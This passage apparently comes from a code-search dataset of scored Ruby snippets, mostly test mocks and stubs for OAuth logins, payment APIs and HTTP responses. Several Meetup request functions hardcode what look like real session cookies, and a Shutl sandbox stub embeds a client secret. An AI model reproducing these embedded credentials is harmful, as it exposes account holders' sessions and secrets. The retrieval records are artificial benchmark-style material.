\"https://api.login.yahoo.com/oauth/v2/get_token\").\n to_return(:status => 200,\n :headers => {},\n :body => \"oauth_token=key&oauth_token_secret=secret&xoauth_yahoo_guid=yahoouserguid\")\n stub_request(:get, \"https://social.yahooapis.com/v1/user/yahoouserguid/profile?format=json\").\n to_return(:status => 200,\n :headers => {},\n :body => '{ \"profile\": { \"guid\": \"yahoouserguid\",\n \"familyName\": \"YahooFamily\",\n \"givenName\": \"YahooGiven\" }}')\n # Faked OAuth1 provider requests and responses\n stub_request(:post, \"http://fake.oauth1.provider/example/access_token_denied\").\n to_return(:status => 401, :headers => {}, :body => \"\")\n stub_request(:any, \"http://fake.oauth1.provider/example/request_token\").\n to_return(:status => 200,\n :headers => {},\n :body => \"oauth_token=key&oauth_token_secret=secret\")\n stub_request(:post, \"http://fake.oauth1.provider/example/access_token\").\n to_return(:status => 200,\n :headers => {},\n :body => \"oauth_token=key&oauth_token_secret=secret\")\n # Faked OAuth2 provider requests and responses\n stub_request(:post, \"https://fake.oauth2.provider/example/access_token\").\n to_return(:status => 200,\n :headers => {'Content-Type' => 'application/x-www-form-urlencoded'},\n :body => \"access_token=key\")\n end",
"title": ""
},
{
"docid": "033ca1b5bb1af11e0795cc9ee0174065",
"score": "0.55267817",
"text": "def call(username, api_key, endpoint, params = {}, user_agent = 'DataSiftPHP/0.0')\n\t\t\tif !@response\n\t\t\t\traise StandardError, 'Expected response not set in mock object'\n\t\t\tend\n\t\t\t@response\n\t\tend",
"title": ""
},
{
"docid": "072cca924a17c50cb8aef7ea8bda409b",
"score": "0.5525879",
"text": "def mock_auth_response(auth_token = \"123456789\")\n Rackspace::Connection.send(:instance_variable_set, \"@auth_response\", {:auth_token => auth_token, :storage_url => \"http://test/storage\", :server_management_url => \"http://test/servers\", :cdn_management_url => \"http://test/content\"})\n mock_api_init\n end",
"title": ""
},
{
"docid": "4c3d7cf1000fed65c75bcfaacdfeb1fa",
"score": "0.5523788",
"text": "def stub_successful_customer_create\n stub_request(:post, 'http://zebraleap-simple-test.herokuapp.com/v1/customers').with(\n body: {\n email: 'test@example.com',\n source: 'tok_test_card_token'\n },\n headers: {\n 'Authorization' => 'Bearer sk_test_123'\n }\n ).to_return(body: successful_create_customer_response)\nend",
"title": ""
},
{
"docid": "99590d15dfb226f60634172ead93e875",
"score": "0.55163074",
"text": "def expect_user_response\n {\n data: {\n google: { expect_user_response: true }\n }\n }\n end",
"title": ""
},
{
"docid": "3975a2c2d77de56ed60f1929717cfcfd",
"score": "0.55151653",
"text": "def mock_response(code)\n {\n 'status' => {\n 'type' => 'error',\n 'code' => code,\n 'message' => 'An Error occured parsing the response',\n 'warnings' => '',\n 'timestamp' => DateTime.now.iso8601\n },\n 'risk' => {},\n 'response' => {},\n 'data' => []\n }\n end",
"title": ""
},
{
"docid": "7e8d24835cdd05ecd291cf94b65eb3bd",
"score": "0.5471322",
"text": "def mock_orcid!(user)\n # Mocks the Omniauth response from ORCID\n raise 'No tenant with id \"localhost\"; did you run travis-prep.sh?' unless StashEngine::Tenant.exists?('localhost')\n OmniAuth.config.add_mock(\n :orcid,\n uid: user.orcid || '555555555555',\n credentials: {\n token: 'ya29.Ry4gVGVzdHkgTWNUZXN0ZmFjZQ'\n },\n info: {\n email: user.email,\n name: user.name,\n test_domain: user.tenant_id || 'localhost'\n },\n extra: {\n raw_info: {\n first_name: user.first_name,\n last_name: user.last_name\n }\n }\n )\n end",
"title": ""
},
{
"docid": "8270a21db04be11852cd395db32401a3",
"score": "0.5422499",
"text": "def sample_create_account_response(success)\n if success\n raw_response = OpenStruct.new(\n parsed_response: {\n \"success\"=>true,\n \"account\"=> {\n \"identifier\"=>\"asdfasdfasdf\",\n \"email\"=>\"asdfasdf@asdfasdf.com\",\n \"customer\"=>\"bonusly\",\n \"available_balance\"=>0\n }\n },\n code: 200\n )\n else\n raw_response = OpenStruct.new(\n parsed_response: {\n \"success\"=>false,\n \"error_message\"=>\"The account already exists for the platform.\"\n },\n code: 403\n )\n end\n Tangocard::Response.new(raw_response)\n end",
"title": ""
},
{
"docid": "0440e0f2cfa4daf1d44321ad05dd4125",
"score": "0.5408256",
"text": "def request_oauth_token\n user_email = ENV['MEETUP_EMAIL']\n user_pass = ENV['MEETUP_PASS']\n bearer = request_access_token[\"access_token\"]\n\n p url = \"https://api.meetup.com/sessions?&email=#{user_email}&password=#{user_pass}\"\n\nbegin\n uri = URI.parse(url)\nrescue URI::InvalidURIError\n uri = URI.parse(URI.escape(url))\nend\n\n https = Net::HTTP.new(uri.host, uri.port)\n https.use_ssl = true\n\n request = Net::HTTP::Post.new(url)\n request[\"Accept\"] = \"application/json\"\n request[\"Authorization\"] = \"Bearer #{bearer}\"\n request[\"Cookie\"] = \"MEETUP_AFFIL=affil=meetup; MEETUP_BROWSER_ID=\\\"id=8f29c91f-3033-4eda-a298-190fc2071d55\\\"; MEETUP_CSRF=dbccdafc-8e61-4007-9a5a-4c92c81dbdc5; MEETUP_MEMBER=\\\"id=154567222&status=4×tamp=1614293651&bs=0&tz=Australia%2FMelbourne&zip=meetup2&country=au&city=Melbourne&state=&lat=-37.81&lon=144.96&ql=false&s=802d872fc49dd2c821523298ccdec801cad92d53&scope=ALL\\\"; MEETUP_TRACK=id=c258a329-f366-4a5f-87d4-f915b81c1970&l=0&s=dca38f8fd2e9b0dfec685350632da5d7d316c9d3; SIFT_SESSION_ID=20670450-2624-4174-a947-cce0ab741e54\"\n\n response = https.request(request)\n result = JSON.parse(response.body)\n p result&.key?(\"oauth_token\") ? puts(\"--- Passed step three oauth_token\") : puts(\"--- step 3 FAILED..\")\n return result\n # {\"oauth_token\"=>\"xxx\", \"oauth_token_secret\"=>\"xxx\", \"refresh_token\"=>\"xxx\", \"expires_in\"=>3600, \"member\"=>{\"id\"=>381717, \"name\"=>\"someguy\", \"email\"=>\"email\", \"status\"=>\"active\", \"joined\"=>1404391594000, \"city\"=>\"Melbourne\", \"country\"=>\"au\", \"localized_country_name\"=>\"Australia\", \"lat\"=>-37.81, \"lon\"=>144.96, \"photo\"=>{\"id\"=>303641096, \"highres_link\"=>\"https://secure.meetupstatic.com/photos/member/a/0/8/8/highres_303641096.jpeg\", \"photo_link\"=>\"https://secure.meetupstatic.com/photos/member/a/0/8/8/member_303641096.jpeg\", \"thumb_link\"=>\"https://secure.meetupstatic.com/photos/member/a/0/8/8/thumb_303641096.jpeg\", \"type\"=>\"member\", \"base_url\"=>\"https://secure.meetupstatic.com\"}, \"is_pro_admin\"=>true}}\nend",
"title": ""
},
{
"docid": "ea6e5e24c686aa4cbcde919289bfd873",
"score": "0.54043764",
"text": "def stub_shutl_token\n stub_request(:post, 'https://sandbox-v2.shutl.co.uk/token').\n with(:body => {'client_id' => 'HnnFB2UbMlBXdD9h4UzKVQ==', 'client_secret' => 'pKNKPPCejzviiPunGNhnJ95G1JdeAbOYbyAygqIXyfIe4lb73iIDKRqmeZmZWT+ORxTqwMP9PhscJAW7GFmz6A==', 'grant_type' => 'client_credentials'},\n :headers => {'Accept'=>'*/*', 'Accept-Encoding'=>'gzip;q=1.0,deflate;q=0.6,identity;q=0.3', 'Content-Type'=>'application/x-www-form-urlencoded', 'Host'=>'sandbox-v2.shutl.co.uk', 'User-Agent'=>'Ruby'}).\n to_return(:status => 200, :body => '{\"access_token\":\"493nSJPSh9_jUsjJe3S59FNnAx3-jcKBjBBzCFM_BkF9ePKcmRPqf-XqwZ3GWdBc9M4ZH-mUb0Okn1e_WPKrwg\",\"token_type\":\"bearer\",\"expires_in\":788939999}', :headers => {})\n end",
"title": ""
},
{
"docid": "3f53f6adbfa848f102286e7e2e202090",
"score": "0.54012793",
"text": "def mock_oauth_client\n auth_code = mock('Authorization Code')\n auth_code.stub!(:get_token).and_return(\"Access Token\")\n auth_code.stub!(:authorize_url).and_return(\"http://google_s_url\")\n client = mock()\n client.stub!(:auth_code).and_return(auth_code)\n OAuth2::Client.should_receive(:new).and_return(client)\nend",
"title": ""
},
{
"docid": "7a65296cbcbf6a45f9b904574aa0e8e3",
"score": "0.54000485",
"text": "def auth_step1 client_info, http\n mock_response = {\n \"oAuthTransId\" => \"6cdfcd43-065c-43a1-aa7a-017de98eefd0\",\n \"responseResult\" => {\n \"isSuccess\" => true,\n \"errorCode\" => nil,\n \"errorDescription\" => nil,\n \"transactionId\" => nil\n },\n \"riskAnalysisInfo\" => nil\n }\n\n response = http.post_json \"https://truekeyapi.intelsecurity.com/session/auth\",\n make_common_request(client_info, \"session_id_token\"),\n {},\n mock_response\n\n transaction_id = response[\"oAuthTransId\"]\n raise \"Request failed\" if transaction_id == nil\n\n transaction_id\nend",
"title": ""
},
{
"docid": "a255370a14c3cc06788211d139dc6b49",
"score": "0.5395759",
"text": "def create\n response = RSpec::Mocks::Mock.new(:error= => :error, :parsed => nil, :body => nil, :status => 401)\n raise OAuth2::Error.new(response)\n end",
"title": ""
},
{
"docid": "ea3213f3af848968528eb4a7b7ffb4b7",
"score": "0.53903514",
"text": "def mock_auth_hash(user)\n return {\n provider: user.provider,\n uid: user.uid,\n info: {\n email: user.email,\n name: user.username,\n nickname: user.username\n }\n }\n end",
"title": ""
},
{
"docid": "b6bf9abe00cb0bbef5297007adfbd03f",
"score": "0.5386227",
"text": "def mock_twitter_hash\n\t\tOmniAuth.config.mock_auth[:twitter] = { provider: 'twitter',\n\t\t uid: '54321',\n\t\t info: {\n\t\t\t\t nickname: 'NatashaTheRobot',\n\t\t\t\t first_name: 'Natasha',\n\t\t\t\t last_name: 'RobotTester',\n\t\t\t\t email: 'hi@natashatherobot.com'\n\t\t },\n\t\t}\n\tend",
"title": ""
},
{
"docid": "107e476939053e5819e6e48793001148",
"score": "0.53829265",
"text": "def test_should_return_token_string\n do_get\n request_token = OauthToken.find(:first, :order => 'created_at DESC')\n assert_equal request_token.to_query, @response.body\n assert request_token.is_a?(::RequestToken)\n assert !request_token.authorized?\n assert !request_token.invalidated?\n end",
"title": ""
},
{
"docid": "2195eaf07f44cf74956b243ff0b9d366",
"score": "0.5363804",
"text": "def test_200_response\n user_id = @user_id\n client_id = @client_id\n client_secret = @client_secret\n fingerprint = @fingerprint\n ip = @ip\n headers = {\n content_type: :json,\n accept: :json,\n 'X-SP-GATEWAY' => \"#{client_id}|#{client_secret}\",\n 'X-SP-USER' => \"#{fingerprint}\",\n 'X-SP-USER-IP' => \"#{ip}\"\n }\n details = RestClient.get(\"https://uat-api.synapsefi.com/v3.1/users/#{user_id}\", headers)\n #print details.code\n assert_equal 200, details.code\n end",
"title": ""
},
{
"docid": "170236ca4da1fe9ca1e322407cefc818",
"score": "0.5349558",
"text": "def initialize_omniauth\n\t\tOmniAuth.config.test_mode = true\n\t\tOmniAuth.config.mock_auth[:twitter] = OmniAuth::AuthHash.new({\n\t\t\t:provider => 'twitter',\n\t\t\t:uid => '14293877',\n\t\t\t:credentials => {\n\t\t\t\t:token => 'mock token',\n\t\t\t\t:secret => 'mock secret'\n\t\t\t}\n\t\t})\n\t\treturn OmniAuth.config.mock_auth[:twitter]\n\tend",
"title": ""
},
{
"docid": "091a0461cb66a5c66ff12df1006e74c0",
"score": "0.5349132",
"text": "def test_authentication_return_success\n stub_request(:post, /.*/)\n .to_return(body: JSON.dump(Hash['token' => 'sometoken']))\n\n auth_block = @ts.authenticate(username: 'example-user',\n password: 'password',\n auth_type: 'password')\n\n assert_equal(auth_block['token'], @ts.instance_variable_get(:@token),\n 'sometoken')\n assert_equal(auth_block, Hash['token' => 'sometoken'])\n end",
"title": ""
},
{
"docid": "0e9f9cb64277ab37725b4589131553ba",
"score": "0.534585",
"text": "def call()\n headers, body = self._build_parameters._sign._call\n signature = self._hash(body + Allorails.config.private_key(@_email_account))\n\n if (@_mapping)\n return self._new_response(signature, headers, body)\n else\n return Allorails::Response::ApiResponse.new(signature, headers, body)\n end\n end",
"title": ""
},
{
"docid": "319ebd5a0d84f1ebd0299aeb86608392",
"score": "0.5344733",
"text": "def auth_as_user(user)\n OmniAuth.config.mock_auth[:google_oauth2] = OmniAuth::AuthHash.new({\n :provider => 'google_oauth2',\n :uid => user.uid,\n :email => user.email\n })\nend",
"title": ""
},
{
"docid": "30efe331b01800de57d6a4098fede8d8",
"score": "0.53378445",
"text": "def mock_response(mock, verb, endpoint, fixture)\n mock.public_send(\n verb,\n endpoint,\n request_headers,\n fixture.json(erb_context),\n fixture.yaml.fetch('status', 200),\n fixture.yaml.fetch('headers', {})\n )\n end",
"title": ""
},
{
"docid": "0126c2092f7214801b7151f2867a1b11",
"score": "0.53343457",
"text": "def get_initial_token\n client_id_key = ENV[\"MEETUP_KEY\"].to_s\n meetup_redirect_uri = ENV[\"MEETUP_URI\"].to_s\n url = URI(\"https://secure.meetup.com/oauth2/authorize?client_id=#{client_id_key}&response_type=anonymous_code&redirect_uri=https://#{meetup_redirect_uri}/\")\n\n https = Net::HTTP.new(url.host, url.port)\n https.use_ssl = true\n\n request = Net::HTTP::Get.new(url)\n request[\"Content-Type\"] = \"application/json\"\n request[\"Accept\"] = \"application/json\"\n request[\"Cookie\"] =\n \"MEETUP_AFFIL=affil=meetup; MEETUP_BROWSER_ID=\\\"id=756c9fe0-0bca-4112-bc41-1685ef9f6f92\\\"; MEETUP_CSRF=239ce87b-ac9b-453e-9d79-2688da4f5d1a; MEETUP_MEMBER=\\\"id=154567222&status=4×tamp=1614245261&bs=0&tz=Australia%2FMelbourne&zip=meetup2&country=au&city=Melbourne&state=&lat=-37.81&lon=144.96&ql=false&s=038211a2f0cfead5522e9fd3a51cf56f4a482535&scope=ALL\\\"; MEETUP_SEGMENT=member; MEETUP_TRACK=id=5e0859a6-c334-4f2b-bd73-818934553be7&l=1&s=a7bf3696ab6fe266da7143de4cb39f9fc2698c45; SIFT_SESSION_ID=256ba851-27e3-49b6-bcb7-31155a4bbb81\"\n\n response = https.request(request)\n\n result = JSON.parse(response.body)\n p result&.key?(\"code\") ? puts(\"--- Passed step one initial token\") : puts(\"--- step 1 FAILED..\")\n return result[\"code\"]\nend",
"title": ""
},
{
"docid": "487142cbf9ed54401f096c8c1bda876d",
"score": "0.53314346",
"text": "def successful_authorization_response\n 'response=1&responsetext=SUCCESS&authcode=123456&transactionid=1355694937&avsresponse=Y&cvvresponse=M&orderid=&type=auth&response_code=100'\n end",
"title": ""
},
{
"docid": "eb3cc2e39bcdaa717f033e508dc33b10",
"score": "0.5311126",
"text": "def identify\n response_service.user = User.new\n if omniauth = session[:omniauth]\n @provider = omniauth.provider.capitalize\n response_service.user.apply_omniauth(omniauth)\n end\n end",
"title": ""
},
{
"docid": "44a7d2bb0c21fa251b29c17bb72afb91",
"score": "0.52978915",
"text": "def mock_invalid_hash\n\t\tOmniAuth.config.mock_auth[:twitter] = :invalid_credentials\n\tend",
"title": ""
},
{
"docid": "aec6849e754d38855b4f596bd3086f1a",
"score": "0.5291473",
"text": "def mock_auth=(_arg0); end",
"title": ""
},
{
"docid": "626e8a44af6e8dfc7f345dbe12843316",
"score": "0.52830815",
"text": "def generate_response\n end",
"title": ""
},
{
"docid": "7a47fce9cb3a2f3cfa4db893144571d9",
"score": "0.527887",
"text": "def get_authorization\n auth_hash = request.env['omniauth.auth']\nputs \"**** (1) auth_hash=#{auth_hash}\"\n return auth_hash\nend",
"title": ""
},
{
"docid": "7d2d85279e62f7edfba9596d5254ea95",
"score": "0.5275007",
"text": "def create_challenge_response(cognito_response:, params:)\n if cognito_response.challenge_name == 'MFA_SETUP'\n response_hash = setup_mfa_response(cognito_response: cognito_response, params: params)\n elsif cognito_response.challenge_name.include?('_RETRY')\n cognito_response.challenge_name = cognito_response.challenge_name.gsub('_RETRY', '')\n response_hash = cognito_response.to_h\n else\n response_hash = { email: params[:email], cognito_response: cognito_response }\n end\n\n ChallengeResponse.new(response_hash)\n end",
"title": ""
},
{
"docid": "b5d9df28866f98a47597cd6761aad586",
"score": "0.52689135",
"text": "def test_get_access_token\n end",
"title": ""
},
{
"docid": "abe71b21248805ae22398bf7af8c5591",
"score": "0.5265255",
"text": "def test_informative_message_when_auth_hash_lacks_email\n @no_email_new_auth_hash = MyPseudoHash[:provider, \"facebook\", :uid, \"000000\", :info, MyPseudoHash[:email, nil, :name, \"Another User\"]]\n OmniAuth.config.mock_auth[:facebook] = @no_email_new_auth_hash\n\n assert_no_difference 'User.count' do\n host! 'localhost:3000'\n get user_omniauth_authorize_path(:facebook)\n assert_redirected_to user_omniauth_callback_path(:facebook)\n follow_redirect!\n assert_redirected_to new_user_registration_path\n end\n \n refute is_logged_in?\n assert_match \"email address is missing\", flash[:danger]\n end",
"title": ""
},
{
"docid": "f1f718c925f12b2b2b3340dfe652b907",
"score": "0.5257802",
"text": "def test_verification_reminder_for_unverified_user\n # Step 1\n assert(@unverified_user.id)\n\n # Step 2\n lookup_user_by_email(@unverified_user.email)\n assert_equal(false, @parsed_response['verified'], @parsed_response)\n\n @unverified_user.login_oauth\n refute_nil(@unverified_user.oauth_token)\n\n get_user_info(@unverified_user.oauth_token)\n assert_equal(0, @parsed_response['verified'], @parsed_response)\n \n # Step 3\n assign_http(Config['panda']['host'])\n\n params = {\n 'user_id' => @unverified_user.id,\n 'request_host' => 'http://www.xx.com',\n }\n\n post '/em/verification_reminder', params\n assert_response(@response, :success)\n assert_match(@parsed_response['MailingID'], @parsed_response['Location'], @parsed_response)\n end",
"title": ""
},
{
"docid": "6e0388a9cceec55a4c91402a94e48e3a",
"score": "0.52557534",
"text": "def test_get_accounts\n response =megams.get_accounts(sandbox_email)\n response.body.to_s\n assert_equal(200, response.status)\n end",
"title": ""
},
{
"docid": "35b53ed36b5e800a13af7f2119a93156",
"score": "0.5236484",
"text": "def successful_account_response\n <<-RESPONSE\n{\n \"holds_uri\": \"/v1/marketplaces/TEST-MP73SaFdpQePv9dOaG5wXOGO/accounts/AC5quPICW5qEHXac1KnjKGYu/holds\",\n \"name\": null,\n \"roles\": [\n \"buyer\"\n ],\n \"created_at\": \"2012-06-08T02:00:18.233961Z\",\n \"uri\": \"/v1/marketplaces/TEST-MP73SaFdpQePv9dOaG5wXOGO/accounts/AC5quPICW5qEHXac1KnjKGYu\",\n \"bank_accounts_uri\": \"/v1/marketplaces/TEST-MP73SaFdpQePv9dOaG5wXOGO/accounts/AC5quPICW5qEHXac1KnjKGYu/bank_accounts\",\n \"refunds_uri\": \"/v1/marketplaces/TEST-MP73SaFdpQePv9dOaG5wXOGO/accounts/AC5quPICW5qEHXac1KnjKGYu/refunds\",\n \"meta\": {},\n \"debits_uri\": \"/v1/marketplaces/TEST-MP73SaFdpQePv9dOaG5wXOGO/accounts/AC5quPICW5qEHXac1KnjKGYu/debits\",\n \"transactions_uri\": \"/v1/marketplaces/TEST-MP73SaFdpQePv9dOaG5wXOGO/accounts/AC5quPICW5qEHXac1KnjKGYu/transactions\",\n \"email_address\": \"will@example.org\",\n \"id\": \"AC5quPICW5qEHXac1KnjKGYu\",\n \"credits_uri\": \"/v1/marketplaces/TEST-MP73SaFdpQePv9dOaG5wXOGO/accounts/AC5quPICW5qEHXac1KnjKGYu/credits\",\n \"cards_uri\": \"/v1/marketplaces/TEST-MP73SaFdpQePv9dOaG5wXOGO/accounts/AC5quPICW5qEHXac1KnjKGYu/cards\"\n}\n RESPONSE\n end",
"title": ""
},
{
"docid": "78a8c14ba338f83f50f36fc6c246209b",
"score": "0.52300406",
"text": "def expected_response(response_code = 100, expected_data = {})\n client_response = ClientResponse.new\n\n # Assign email values\n expected_data.each do |key, value|\n val_hash = value.to_hash if value.respond_to?(:to_hash)\n client_response.email.send(\"#{key}=\", val_hash.nil? ? value : val_hash)\n end\n\n # Determine if status is successful\n if response_code == ok_code\n client_response.set_ok\n elsif response_code == bad_req_code\n client_response.set_bad_req\n elsif response_code == internal_err_code\n client_response.set_internal_err\n end\n\n client_response.to_hash\n end",
"title": ""
},
{
"docid": "b498eed91bcfe0c5a2329b1635c17ac6",
"score": "0.5229752",
"text": "def test_verify_code_success\n params = { 'code' => @active_promo }\n\n get '/pros/verify', params.merge(api_key)\n assert_response(@response, :success)\n assert_equal(@active_promo, @parsed_response['promo']['code'])\n end",
"title": ""
},
{
"docid": "27a215a8253b13d6729f11707c669fe9",
"score": "0.5226163",
"text": "def mock_response\n @mock_response ||= mock().tap do |mock_response|\n mock_response.stubs(:messages_seen).returns(1)\n end\n end",
"title": ""
},
{
"docid": "dc5a55aa46f3835c66cb9e41249a96ca",
"score": "0.52223885",
"text": "def fake_a_response\n {\n fake_gps: fake_gps_pair,\n address: get_fake_geocoding_response_and_parsed_address,\n nearest_gas_station: get_fake_geocoding_response_and_parsed_address,\n nearest_gas_station_response: fake_nearby_response,\n }\n end",
"title": ""
},
{
"docid": "cec594aa04fb8bc54910054dc3b13923",
"score": "0.5215767",
"text": "def perform_login(merchant = nil)\n merchant ||= Merchant.first\n \n OmniAuth.config.mock_auth[:github] = OmniAuth::AuthHash.new(mock_auth_hash(merchant))\n # Act Try to call the calleback route\n \n get omniauth_callback_path(:github)\n merchant = Merchant.find_by(uid: merchant.uid, provider: merchant.provider)\n # Verify the merchanat ID was saved - if that didn't work. this test is valid\n #expect(session[:merchant_id]).must_equal merchant.id\n\n return merchant\n end",
"title": ""
},
{
"docid": "433c54545814c3ff58cc77d86718bfe6",
"score": "0.52089506",
"text": "def expected_response(http_method, uri, credentials, password, password_is_ha1 = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "4b4acbf2817bd976c287f6e4db2d4ab8",
"score": "0.52081764",
"text": "def test_return_complex1_object()\n\n # Perform the API call through the SDK function\n result = @controller.return_complex1_object()\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"medications\":[{\"aceInhibitors\":[{\"name\":\"lisinopril\",\"strength\":\"10 m'\\\n 'g Tab\",\"dose\":\"1 tab\",\"route\":\"PO\",\"sig\":\"daily\",\"pillCount\":\"#90\",\"ref'\\\n 'ills\":\"Refill 3\"}],\"antianginal\":[{\"name\":\"nitroglycerin\",\"strength\":\"0'\\\n '.4 mg Sublingual Tab\",\"dose\":\"1 tab\",\"route\":\"SL\",\"sig\":\"q15min PRN\",\"p'\\\n 'illCount\":\"#30\",\"refills\":\"Refill 1\"}],\"anticoagulants\":[{\"name\":\"warfa'\\\n 'rin sodium\",\"strength\":\"3 mg Tab\",\"dose\":\"1 tab\",\"route\":\"PO\",\"sig\":\"da'\\\n 'ily\",\"pillCount\":\"#90\",\"refills\":\"Refill 3\"}],\"betaBlocker\":[{\"name\":\"m'\\\n 'etoprolol tartrate\",\"strength\":\"25 mg Tab\",\"dose\":\"1 tab\",\"route\":\"PO\",'\\\n '\"sig\":\"daily\",\"pillCount\":\"#90\",\"refills\":\"Refill 3\"}],\"diuretic\":[{\"na'\\\n 'me\":\"furosemide\",\"strength\":\"40 mg Tab\",\"dose\":\"1 tab\",\"route\":\"PO\",\"si'\\\n 'g\":\"daily\",\"pillCount\":\"#90\",\"refills\":\"Refill 3\"}],\"mineral\":[{\"name\":'\\\n '\"potassium chloride ER\",\"strength\":\"10 mEq Tab\",\"dose\":\"1 tab\",\"route\":'\\\n '\"PO\",\"sig\":\"daily\",\"pillCount\":\"#90\",\"refills\":\"Refill 3\"}]}],\"labs\":[{'\\\n '\"name\":\"Arterial Blood Gas\",\"time\":\"Today\",\"location\":\"Main Hospital La'\\\n 'b\"},{\"name\":\"BMP\",\"time\":\"Today\",\"location\":\"Primary Care Clinic\"},{\"na'\\\n 'me\":\"BNP\",\"time\":\"3 Weeks\",\"location\":\"Primary Care Clinic\"},{\"name\":\"B'\\\n 'UN\",\"time\":\"1 Year\",\"location\":\"Primary Care Clinic\"},{\"name\":\"Cardiac '\\\n 'Enzymes\",\"time\":\"Today\",\"location\":\"Primary Care Clinic\"},{\"name\":\"CBC\"'\\\n ',\"time\":\"1 Year\",\"location\":\"Primary Care Clinic\"},{\"name\":\"Creatinine\"'\\\n ',\"time\":\"1 Year\",\"location\":\"Main Hospital Lab\"},{\"name\":\"Electrolyte P'\\\n 'anel\",\"time\":\"1 Year\",\"location\":\"Primary Care Clinic\"},{\"name\":\"Glucos'\\\n 'e\",\"time\":\"1 Year\",\"location\":\"Main Hospital Lab\"},{\"name\":\"PT/INR\",\"ti'\\\n 'me\":\"3 Weeks\",\"location\":\"Primary Care Clinic\"},{\"name\":\"PTT\",\"time\":\"3'\\\n ' Weeks\",\"location\":\"Coumadin Clinic\"},{\"name\":\"TSH\",\"time\":\"1 Year\",\"lo'\\\n 'cation\":\"Primary Care Clinic\"}],\"imaging\":[{\"name\":\"Chest X-Ray\",\"time\"'\\\n ':\"Today\",\"location\":\"Main Hospital Radiology\"},{\"name\":\"Chest X-Ray\",\"t'\\\n 'ime\":\"Today\",\"location\":\"Main Hospital Radiology\"},{\"name\":\"Chest X-Ray'\\\n '\",\"time\":\"Today\",\"location\":\"Main Hospital Radiology\"}]}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"title": ""
},
{
"docid": "1b2e2c26f009fcd417d5cfe19c7cc42e",
"score": "0.5178073",
"text": "def request_access_token\n client_id_key = ENV[\"MEETUP_KEY\"].to_s\n meetup_redirect_uri = ENV[\"MEETUP_URI\"].to_s\n client_secret_m = ENV[\"MEETUP_SECRET\"].to_s\n code = get_initial_token\n\n p url = URI(\"https://secure.meetup.com/oauth2/access?client_id=#{client_id_key}&client_secret=#{client_secret_m}&grant_type=anonymous_code&redirect_uri=https://#{meetup_redirect_uri}/&code=#{code}\")\n\n https = Net::HTTP.new(url.host, url.port)\n https.use_ssl = true\n\n request = Net::HTTP::Post.new(url)\n request[\"Content-Type\"] = \"application/json\"\n request[\"Accept\"] = \"application/json\"\n request[\"Cookie\"] =\n \"MEETUP_AFFIL=affil=meetup; MEETUP_BROWSER_ID=\\\"id=756c9fe0-0bca-4112-bc41-1685ef9f6f92\\\"; MEETUP_CSRF=239ce87b-ac9b-453e-9d79-2688da4f5d1a; MEETUP_MEMBER=\\\"id=154567222&status=4×tamp=1614245261&bs=0&tz=Australia%2FMelbourne&zip=meetup2&country=au&city=Melbourne&state=&lat=-37.81&lon=144.96&ql=false&s=038211a2f0cfead5522e9fd3a51cf56f4a482535&scope=ALL\\\"; MEETUP_SEGMENT=member; MEETUP_TRACK=id=5e0859a6-c334-4f2b-bd73-818934553be7&l=1&s=a7bf3696ab6fe266da7143de4cb39f9fc2698c45; SIFT_SESSION_ID=256ba851-27e3-49b6-bcb7-31155a4bbb81\"\n\n response = https.request(request)\n result = JSON.parse(response.body)\n p result&.key?(\"access_token\") ? puts(\"--- Passed step two access token\") : puts(\"--- step 2 FAILED..\")\n # {\"access_token\"=>\"xxx\", \"refresh_token\"=>\"xxx\", \"member\"=>{\"country\"=>\"au\", \"city\"=>\"Melbourne\", \"name\"=>\"prereg_member_312483285115459\", \"lon\"=>144.96689, \"id\"=>3272384992, \"state\"=>\"07\", \"lat\"=>-37.815903}, \"token_type\"=>\"bearer\", \"expires_in\"=>3600}\n return result\nend",
"title": ""
},
{
"docid": "760004fd6543caf2a469b5430e5babe3",
"score": "0.5172173",
"text": "def test_build_response\n assert_equal(Map.new, Wavefront::Response.new('', 200).response)\n assert_equal(Map.new, Wavefront::Response.new({}, 200).response)\n assert_equal(Map.new, Wavefront::Response.new([], 200).response)\n assert_equal(Map.new(message: 'string', code: 200),\n Wavefront::Response.new('string', 200).response)\n assert_equal(123, Wavefront::Response.new({ response: 123 }.to_json,\n 200).response)\n end",
"title": ""
},
{
"docid": "d3fd64fd8066af15f7be11222915bfcb",
"score": "0.5168645",
"text": "def sample_twilio_response\n end",
"title": ""
},
{
"docid": "ff4c46d3a5a6d0e0155f7c8f8ddefd0b",
"score": "0.5168203",
"text": "def omniauth_token\n case params[:provider]\n when 'facebook'\n object = Facebook.get_object(extract_token,\n '/me?fields=id,name,picture,email')\n command = facebook(object)\n render json: {\n auth_token: command[:token],\n user: command[:user].simple_info\n }, status: :ok\n when 'google'\n object = Google.get_object(extract_token)\n command = google(object)\n render json: {\n auth_token: command[:token],\n user: command[:user].simple_info\n }, status: :ok\n else\n render json: { error: 'No available function for that provider' },\n status: :bad_request\n end\n end",
"title": ""
},
{
"docid": "279c28d2faef3c788561e6db91d3e0fb",
"score": "0.5164669",
"text": "def wrapperresult(response)\n\t\tif response.class == String\n\t\t\treturn response\n\t\telse\n\t\t\tresult = Hash.new\n\t\t\t#set header value\n\t\t\theader = response.getAuthenticationResponse\n\t\t\tresult['sessionId'] = header.getSessionId\n\t\t\tresult['timeStamp'] = header.getTimeStamp\n\t\t\tresult['messageCode'] = header.getMessageCode\n\t\t\tresult['message'] = header.getMessage\n\t\t\t#set body value\n\t\t\tif (response.getResponseBody.value != nil)\n\t\t\t\tbody = response.getResponseBody.value.getClearingRefused\n\t\t\t\tabody = response.getResponseBody.value.getClearingAcknowledgement\n\t\t\t\tif ( body != nil)\n\t\t\t\t\tresult['messageId'] = body.getHeader().getMessageId().getValue()\n\t\t\t\t\tresult['inReplyTo'] = body.getHeader().getInReplyTo().getValue()\n\t\t\t\t\tresult['sentBy'] = body.getHeader().getSentBy().getValue()\n\t\t\t\t\tresult['correlationId'] = body.getCorrelationId().getCorrelationIdScheme()\n\t\t\t\t\tresult['correlationIdValue'] = body.getCorrelationId().getValue()\n\t\t\t\t\treason = body.getReason\n\t\t\t\t\tresult['reasonCode'] = reason.get( 0 ).getReasonCode().getValue() \n\t\t\t\t\tresult['description'] = reason.get( 0 ).getDescription()\n\t\t\t\tend\n\t\t\t\tif ( abody != nil)\n\t\t\t\t\tresult['hashToken reference'] = 